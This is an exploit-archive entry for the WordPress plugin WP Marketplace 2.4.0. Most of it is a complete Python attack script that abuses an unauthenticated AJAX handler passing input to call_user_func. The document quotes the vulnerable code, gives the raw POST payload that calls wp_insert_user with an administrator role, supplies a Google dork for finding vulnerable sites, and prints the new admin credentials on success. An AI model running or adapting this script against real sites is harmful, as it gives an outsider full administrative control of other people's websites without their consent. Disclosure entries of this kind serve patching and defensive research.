WordPress Marketplace 2.4.0 Add Administrator

2015.03.26
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/python # # Exploit Name: WP Marketplace 2.4.0 Remote Command Execution # # Vulnerability discovered by Kacper Szurek (http://security.szurek.pl) # # Exploit written by Claudio Viviani # # # # -------------------------------------------------------------------- # # The vulnerable function is located on "wpmarketplace/libs/cart.php" file: # # function ajaxinit(){ # if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ # if(function_exists($_POST['execute'])) # call_user_func($_POST['execute'],$_POST); # else # echo __("function not defined!","wpmarketplace"); # die(); # } #} # # Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook). # wpmp_pp_ajax_call() call functions by call_user_func() through POST data: # # if (function_exists($_POST['execute'])) # call_user_func($_POST['execute'], $_POST); # else # ... # ... # ... # # $_POST data needs to be an array # # # The wordpress function wp_insert_user is perfect: # # http://codex.wordpress.org/Function_Reference/wp_insert_user # # Description # # Insert a user into the database. # # Usage # # <?php wp_insert_user( $userdata ); ?> # # Parameters # # $userdata # (mixed) (required) An array of user data, stdClass or WP_User object. # Default: None # # # # Evil POST Data (Add new Wordpress Administrator): # # action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator # # --------------------------------------------------------------------- # # Dork google: index of "wpmarketplace" # # Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6 # # Http connection import urllib, urllib2, socket # import sys # String manipulator import string, random # Args management import optparse # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) banner = """ ___ ___ __ | Y .-----.----.--| .-----.----.-----.-----.-----. |. | | _ | _| _ | _ | _| -__|__ --|__ --| |. / \ |_____|__| |_____| __|__| |_____|_____|_____| |: | |__| |::.|:. | `--- ---' ___ ___ __ __ __ | Y .---.-.----| |--.-----| |_.-----| .---.-.----.-----. |. | _ | _| <| -__| _| _ | | _ | __| -__| |. \_/ |___._|__| |__|__|_____|____| __|__|___._|____|_____| |: | | |__| |::.|:. | `--- ---' WP Marketplace R3m0t3 C0d3 Ex3cut10n (Add WP Admin) v2.4.0 Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) host = checkurl(options.target) timeout = options.timeout print(banner) socket.setdefaulttimeout(timeout) username = id_generator() pwd = id_generator() body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call', 'execute' : 'wp_insert_user', 'user_login' : username, 'user_pass' : pwd, 'role' : 'administrator'}) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'} print "[+] Tryng to connect to: "+host try: req = urllib2.Request(host+"/", body, headers) response = urllib2.urlopen(req) html = response.read() if html == "": print("[!] Account Added") print("[!] Location: "+host+"/wp-login.php") print("[!] Username: "+username) print("[!] Password: "+pwd) else: print("[X] Exploitation Failed :(") except urllib2.HTTPError as e: print("[X] "+str(e)) except urllib2.URLError as e: print("[X] Connection Error: "+str(e))

References:

http://codex.wordpress.org/Function_Reference/wp_insert_user


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